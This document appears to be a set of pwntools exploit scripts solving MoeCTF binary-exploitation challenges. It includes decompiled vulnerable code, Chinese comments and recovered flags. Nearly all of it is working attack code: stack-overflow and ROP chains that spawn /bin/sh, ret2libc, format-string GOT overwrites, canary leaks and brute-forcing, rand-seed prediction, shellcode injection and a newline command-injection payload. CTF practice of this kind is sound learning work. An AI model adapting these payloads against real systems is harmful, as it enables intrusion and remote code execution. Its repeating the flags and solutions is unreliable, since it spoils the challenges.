1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

from pwn import *  # 导入 pwntools。


context(
    arch="amd64",
    os="linux",
)  # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。

# io = process("./pwn")  # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = remote("localhost", 38631)  # 与在线环境交互。

io.recvuntil(b"hint.")
num = io.recv(8)
log.info(CLEAR_TEXT(f"num={num}"))  # 接收提示信息。
num = u64(num.ljust(8, b"\x00"))  # 将接收到的字符串转换为整数。

log.success(CLEAR_TEXT(f"num={num:#x}"))

io.sendline(str(num).encode())  # 发送整数。

io.interactive()  # 手动接收 flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

from pwn import *  # 导入 pwntools。

context(arch="amd64", os="linux", log_level="debug")  # 一些基本的配置。


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"

# 有时我们需要在本地调试运行程序，需要配置 context.terminal。详见入门指北。


io = process("./pwn")  # 在本地运行程序。
gdb.attach(io)                    # 启动 GDB
# io = remote("localhost", 39857)  # 与在线环境交互。

io.recvuntil(b"stack?\n")
io.sendline(b"24")
io.send(b"A" * 16 + p64(0x4011BB))

io.interactive()  # 手动接收 flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 45523)
# gdb.attach(
#     io,gdbscript='''
#     ''')


def se(data):
    return io.send(data)

def sla(delim, data):
    return io.sendlineafter(delim, data)



sla('!', '4')
shellcode = asm(shellcraft.sh())
se(shellcode)

io.interactive()

# 这题就是很简单的可打shellcode,可以手动也可以直接用pwntools自带的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

```c 
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[124]; // [rsp+0h] [rbp-90h] BYREF
  int v5; // [rsp+7Ch] [rbp-14h]
  int v6; // [rsp+8Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("Welcome to Secret Message Book!");
  puts("Do you want to brute-force this system? (y/n)");
  fgets(&brute_choice, 8, stdin);
  v6 = 0;
  if ( brute_choice == 'y' || brute_choice == 89 )
  {
    v6 = 1;
    canary = (int)random() % 114514;
    v5 = canary;
    puts("waiting...");
    sleep(1u);
    puts("boom!");
    puts("Brute-force mode enabled! Security on.");
  }
  else
  {
    puts("Normal mode. No overflow allowed.");
  }
  printf("Enter your message: ");
  if ( v6 )
    gets(s);
  else
    fgets(s, 128, stdin);
  if ( v6 && v5 != canary )
  {
    puts("Security check failed!");
    exit(1);
  }
  puts("Message received.");
  return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

from ctypes import CDLL, cdll
import time
from pwn import *

context(log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]


libc = cdll.LoadLibrary('libc.so.6')


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


def WARN_TEXT(x, code=33):
    return f"\x1b[{code}m{x}\x1b[0m"


now = int(time.time())

canaries = []
for i in [now, now-1, now+1]:
    libc.srandom(i)
    val = libc.random() % 114514
    print(f"[+] seed = {i} -> canary= {val}")
    canaries.append(val)


io = remote("localhost", 43477)
# io = process("./pwn")
# gdb.attach(io, gdbscript='''
#                b *0x40136c
#                b *(main+287)
#                ''')

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

ru(b"Do you want to brute-force this system? (y/n)\n")
sl(b'y')

ru(b'Enter your message: ')

buf = b'b'*124

for canary in canaries:
    payload = buf
    payload = (payload+p32(canary)).ljust(0x90, b'\x00')+p64(0)
    payload += p64(0x40127b)

    sl(payload)
    try:
        ia()
    except:
        print(WARN_TEXT(f"[-] Canary {canary} failed,next one"))

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

from pwn import *
from struct import pack

filename = "./pwn"
libc = "./patch/libc.so.6"


context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x):
    return f"\x1b[95m{x}\x1b[0m"


# io = gdb.debug(
#     "./pwn",gdbscript=""""
#     """)
io = process(filename)
# gdb.attach(
#     io,
#     gdbscript='''b *puts'''
# )
libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 40167)


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)


def ia():
    return io.interactive()


def fine():
    return io.interactive()


payload = b"%7$s%10$p"
# payload = b"%10$p"
sla(b"name?\n", payload)
# s2 = int(io.recvuntil(b"I buried", drop=True).split(b",")[-1], 16)
# log.success(VIO_TEXT(f"first number: {hex(s2)}"))
ru(b"you,")

s = io.recv()
s1 = s[:5].decode()
log.success(VIO_TEXT(f"first number: {s1}"))

s2 = s[s.find(b"0x"):].split()[0]  # 切分

s2 = int(s2, 16)
s2 = pack("<Q", s2).rstrip(b"\x00").decode(errors="ignore")  # 小端序解析
log.success(VIO_TEXT(f"second number: {s2}"))

sl(s2)
io.recv()

sl(s1)

fine()

# moectf{THe-b3G1nNlng_OF_f0rm@T5cc02f05c}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

from pwn import *

remote_addr = "localhost"
remote_port = "40757"

io = remote(remote_addr, remote_port)

sla = io.sendlineafter


def ping_host():
    sla(b"Your choice: ", "4")


ping_host()
payload = b"x\ncat flag\n"
sla(b"Enter host to ping: ", payload)

io.interactive()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87

from pwn import *
import ctypes

filename = "./pwn"
# libc = "./libc.so.6"
libc = ctypes.CDLL("libc.so.6")

context(log_level="debug", os="linux", arch="i386")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


# io = gdb.debug(
#     "./pwn",gdbscript='''
#     ''')
io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("", )


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)



possible_seeds = [s for s in range(1, 101, 2)]


def test_seed(seed):
    libc.srand(seed)
    return [libc.rand() % 10000 for _ in range(10)]


def try_once():
    for seed in possible_seeds:
        random_sequence = test_seed(seed)
        ru(b"me?\n")

        flag = True
        for num in random_sequence:
            sl(str(num).encode())
            reveal = ru(b">")
            if b"lose" in reveal.lower():
                flag = False
                break
        if flag:
            log.success(CLEAR_TEXT(f"Found seed: {
                        seed},sequence:{random_sequence}"))
            io.interactive()
        else:
            io.clode()


try_once()
# moectf{SUch-a_FAKE_cHA0t1C-3vIIaa0ae332}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char dest[24]; // [rsp+0h] [rbp-20h] BYREF
  size_t n; // [rsp+18h] [rbp-8h] BYREF

  init(argc, argv, envp);
  puts("What can u say?");
  __isoc99_scanf("%255s", str);
  puts("So,what size is it?");
  __isoc99_scanf("%zu", &n);
  len = strlen(str);
  if ( (unsigned __int64)len > 0x18 )
  {
    puts("Oh,too much.");
    exit(1);
  }
  if ( !strncmp(str, "meow", 4uLL) )
    memcpy(dest, str, n);
  else
    strncpy(dest, str, n);
  puts("You're right.");
  return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

from pwn import *

filename = "./pwn"
# libc = "./libc.so.6"


context(log_level="debug", os="linux", arch="amd64")
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
    return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# # libc = ELF(libc)
# gdb.attach(io, gdbscript='''
#     b *0x4013A2
# ''')
elf = ELF(filename)
# io = remote("localhost", 46233)


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def ia():
    return io.interactive()


backdoor = 0x40123E

payload = b'meow\x00'
payload += b'a'*(24-len(payload))
payload += b'B'*8
payload += p64(0x40101a)  # ret对齐栈
payload += p64(backdoor)

sla(b"u say?", payload)

sla(b"size is it?", b"48")

ia()

# moectf{maybe_THls_IS-c-5trlNG34c189c4}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  write(1, "My lock looks strange—can you help me?\n", 0x29uLL);
  write(1, "choose mode\n", 0xCuLL);
  i = input();
  if ( i > 4 )
    lose();
  write(1, "Input your password\n", 0x14uLL);
  read(0, (char *)&s + i, 0xCuLL);
  if ( i != 59 )
    lose();
  cheat();
  return 0;
}

1
2
3
4
5
6
7

ssize_t cheat()
{
  _BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF

  write(1, "Developer Mode.\n", 0x10uLL);
  return read(0, buf, 0x100uLL);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

.text:000000000040123C ; void gadget()
.text:000000000040123C                 public gadget
.text:000000000040123C gadget          proc near：
.text:000000000040123C ; __unwind {
.text:000000000040123C                 endbr64
.text:0000000000401240                 pop     rdi
.text:0000000000401241                 pop     rsi
.text:0000000000401242                 pop     rdx
.text:0000000000401243                 retn
.text:0000000000401243 gadget          endp ; sp-analysis failed

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=31):
    return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# gdb.attach(io, gdbscript='''
#     b *40127f
# ''')
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 39153)


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)


def ia():
    return io.interactive()


sla(b"choose mode\n", b"-32")


addr_s = 0x4040A0
payload = p32(59)
io.recv()
se(payload.ljust(0xC, b"a"))

pop_rax_ret = 0x401244
syscall_addr = 0x401230
pop_rdi_rsi_rdx_ret = 0x401240
read_plt = elf.plt['read']

payload2 = flat(
    b'A' * (64+8),
    # 调用 read(0, addr_s, 8)来写入"/bin/sh\x00"
    pop_rdi_rsi_rdx_ret, 0, addr_s, 8,
    read_plt,

    pop_rdi_rsi_rdx_ret, addr_s, 0, 0,
    pop_rax_ret, 0x3b,
    syscall_addr
)
io.recv()
se(payload2)
se(b'/bin/sh\x00')

ia()

# moectf{DONT_3nc@PSUL@tE-mY_5Ysc@I132fcf89}

1
2
3
4
5

gdb.attach(
    io, gdbscript='''
    b *laker
    b *photo
    ''')

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = process(filename)
# libc = ELF(libc)
elf = ELF(filename)
# io = remote("localhost", 46203)
gdb.attach(
    io, gdbscript='''
    b *laker
    b *photo
    ''')


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)

def ia():
    return io.interactive()



payload = b"xdulaker"*5

sl(b'1')
ru(b'gift:')

opt_addr = io.recvuntil(b'\n', drop=True).strip().decode()
opt_addr = int(opt_addr, 16)
log.info(VIO_TEXT(f"opt_addr: {hex(opt_addr)}"))

pie_base = opt_addr - 0x4010
backdoor_addr = pie_base + 0x124E

log.info(VIO_TEXT(f"pit_base: {hex(pie_base)}"))
log.info(VIO_TEXT(f"backdoor_addr: {hex(backdoor_addr)}"))


io.recv()
sl(b'2')

sa(b'name?!', payload)


io.recv()
sl(b'2')

sa(b'name?!', payload)

io.recv()
sl(b'3')

payload = cyclic(48+8)+p64(backdoor_addr+1)
sl(payload)
# sla(b'laker\n', payload)

ia()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107

from pwn import *

filename = "./pwn"
libc = "./libc.so.6"
arch = 'amd64'

context(log_level="debug", os="linux", arch=arch)
context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


# io = process(filename)
libc = ELF(libc)
elf = ELF(filename)
io = remote("localhost", 39367)

# gdb.attach(io, gdbscript='''
#     b *puts
#     ''')


def se(data):
    return io.send(data)


def sa(delim, data):
    return io.sendafter(delim, data)


def sl(data):
    return io.sendline(data)


def sla(delim, data):
    return io.sendlineafter(delim, data)


def rc(num):
    return io.recv(num)


def rl():
    return io.recvline()


def ru(delims):
    return io.recvuntil(delims)

def ia():
    return io.interactive()


ru(b"I use ")
leak = ru(' ').strip().decode()

log.success(VIO_TEXT(f"leak: {leak}"))

leak = int(leak, 16)
pie_delta = 0x1060
pie_base = leak - pie_delta

read = leak+0x50
read_plt = elf.plt['read']
elf_base = read-read_plt

log.success(VIO_TEXT(f"pie_base: {hex(pie_base)}"))
start = elf.symbols['_start']+elf_base+4
log.success(VIO_TEXT(f"start_addr: {hex(start)}"))

ret = elf_base+0x00101a+4
log.info(f"ret:{hex(ret)}")

payload = cyclic(32+8)+p64(start)
se(payload)

ru(b"I use ")
read_addr_true = int(ru(' ').strip().decode(), 16)
libc_base = read_addr_true-libc.symbols['read']
log.success(CLEAR_TEXT(f"libc_addr: {hex(libc_base)}"))
log.success(CLEAR_TEXT(f"read_addr_true: {hex(read_addr_true)}"))

rop = ROP(libc)
pop_rdi = libc_base + 0x2a3e5
binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
system = libc_base + libc.symbols['system']

offset = 40

payload = flat(
    b"A" * offset,
    ret,
    pop_rdi,
    binsh,
    system,
)

sl(payload)

io.interactive()
# moectf{How_cAn_You_g3t_This-L1BC-@DDR712d46}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112

from pwn import *
import argparse
import argcomplete

parser = argparse.ArgumentParser(
    description="Exploit script for pwn challenge.")
parser.add_argument('--remote', action='store_true',
                    help="Connect to remote service")
parser.add_argument('--debug', action='store_true',
                    help="Attach GDB for debugging")
parser.add_argument('--ip', default='localhost', help="Remote IP address")
parser.add_argument('--port', type=int, default=35515, help="Remote port")

args = parser.parse_args()


filename = './pwn'
# libc_path = './libc.so.6'
arch = 'amd64'

context.log_level = 'debug'
context.arch = arch
context.os = "linux"
context.terminal = ["tmux", "splitw", "-h"]

elf = ELF(filename)
# libc = ELF(libc_path)


def start():
    if args.remote:
        io = remote(args.ip, args.port)
    else:
        io = process(filename)
        if args.debug:
            gdb.attach(io, gdbscript='''
            b *0x401334
            ''')
    return io


def register_io_shortcuts(io):
    global se, sl, sla, sa, slt, st
    global rc, rn, rr, ru, ra, rl, rls, rle, rlc
    global ia, ic

    se = io.send
    sl = io.sendline
    sla = io.sendlineafter
    sa = io.sendafter
    slt = io.sendlinethen
    st = io.sendthen

    rc = io.recv
    rn = io.recvn
    rr = io.recvregex
    ru = io.recvuntil
    ra = io.recvall
    rl = io.recvline
    rls = io.recvline_startswith
    rle = io.recvline_endswith
    rlc = io.recvline_contains

    ia = io.interactive
    ic = io.close

# def uu32(data): return u32(data.ljust(4, b"\x00"))
# def uu64(data): return u64(data.ljust(8, b"\x00"))
# def get_64(): return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
# def get_32(): return u32(io.recvuntil(b"\x7f")[-4:].ljust(4, b"\x00"))


def VIO_TEXT(x, code=95): return f"\x1b[{code}m{x}\x1b[0m"
def CLEAR_TEXT(x, code=32): return f"\x1b[{code}m{x}\x1b[0m"


def main():
    global io
    io = start()
    register_io_shortcuts(io)
    system_plt = 0x4010a0
    pop_rdi_ret = 0x401219
    leave_ret = 0x40120F
    ret_addr = 0x40101a
    bss = 0x404060
    pivot_bss = 0x404060+0x800

    ru(b'introduction.')
    sl(str(-1))  # 整数溢出

    payload = flat([
        b'a'*0x800,
        b'/bin/sh\x00',
        pop_rdi_ret,
        pivot_bss,
        ret_addr,
        system_plt,
    ])

    se(payload)

    ru(b'phone number:\n')

    payload = cyclic(12)+p64(pivot_bss)+p64(leave_ret)

    se(payload)

    ia()


if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "43661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
        b *$rebase(0x1380)
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
rc = io.recv
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive

payload = b'a'*24
payload += b'b'

sa("you.\n", payload)
ru(b'b')

canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success(VIO_TEXT(f"Canary is:{hex(canary)}"))

payload = b'a'*24+p64(canary)+b'b'*8+b'\x8c\xf2'

rc()
se(payload)

ia()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = remote('localhost', 37307)

def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc/libc.so.6')
system = 0x40127B

gdb.attach(p, gdbscript='''
    b *talk
    b *0x40131E
    b *0x4012F6
''')
payload = b'%8$p'
p.sendafter("You start talking to him...\n", payload)
p.recvuntil('0x')
stack_ret = int(p.recv(12), 16) - 0x18
log.success(VIO_TEXT("stack_ret: " + hex(stack_ret)))
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = stack_ret & 0xffff
payload2 = f'%{count}c%6$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload2)
p.sendafter("You enraged the monster-prepare for battle!\n", 'a' * 8)

count = system & 0xffff
payload3 = f'%{count}c%47$hn'.format().encode()
p.sendafter("You start talking to him...\n", payload3)
p.sendafter("You enraged the monster-prepare for battle!\n", '/bin/sh\x00')

p.interactive()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114

import argparse
import sys
from pwn import *

parser = argparse.ArgumentParser()
parser.add_argument('mode', type=int, choices=[
                    0, 1, 2], nargs='?', default=0, help='0=local,1=local+gdb,2=remote')
args = parser.parse_args()

filename = "./pwn"
libc_name = "./libc.so.6"
arch = 'amd64'
remote_addr = "localhost"
remote_port = "35661"


context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
    context.terminal = ["tmux", "splitw", "-h"]


def VIO_TEXT(x, code=95):
    return f"\x1b[{code}m{x}\x1b[0m"


def CLEAR_TEXT(x, code=32):
    return f"\x1b[{code}m{x}\x1b[0m"


io = None
if args.mode == 0:
    io = process(filename)
    print("[*] Running on local machine")
elif args.mode == 1:
    io = process(filename)
    gdb.attach(io, gdbscript='''
    b *0x4012d9
               ''')
elif args.mode == 2:
    io = remote(remote_addr, remote_port)
else:
    sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)

se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains


def uu64(data):
    return u64(data.ljust(8, b"\x00"))


def get_64():
    return u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))


def hell(x):
    sa(b"hell.\n", x)


sl(b'%3$p')
leak_str = rl(keepends=False).decode()
leak_addr = int(leak_str, 16)
log.info(VIO_TEXT(f"try to leak-read?:{hex(leak_addr)}"))

libc.address = leak_addr-18-libc.sym['read']  # 泄漏出read来leak libc
system_addr = libc.sym['system']
log.success(VIO_TEXT(f"system:{hex(system_addr)}"))

printf_got = elf.got["printf"]
log.info(VIO_TEXT(f"printf@GOT: {hex(printf_got)}"))

# fgets最多读入len-1字符，第一次输入sh |% 使得可以被printf作为参数
hell("sh|%")

# 第二次先往栈上写一个printf_got的地址
printf_got = elf.got['printf']
# 通过写入到紧靠的下一个位置，使得可以写5位的prinf_got->system
payload_16 = (p64(printf_got) + p64(printf_got+1))[:15]

hell(payload_16)

system_low = system_addr & 0xff
system_high = (system_addr >> 8) & 0xffff
system_high = (system_high-system_low+0x10000) & 0xffff  # 写入要写到高位还需要的字节
# system_high = (system_high-system_low) & 0xffff

log.info(VIO_TEXT(
    f"system_low:{hex(system_low)}  and system_high:{hex(system_high)}")
)

# 先写低位一个字节在写高位两个字节实现写三位
payload_27 = f"%{system_low}c%24$hhn%{system_high}c%25$hn".encode()
# payload_27 = f"%{system_low}c%24$hhn".encode()
print(len(payload_27))
sla(b"hell.\n", payload_27)
# payload_test = "%25$p"
# sla(b"hell.\n", payload_test)

io.interactive()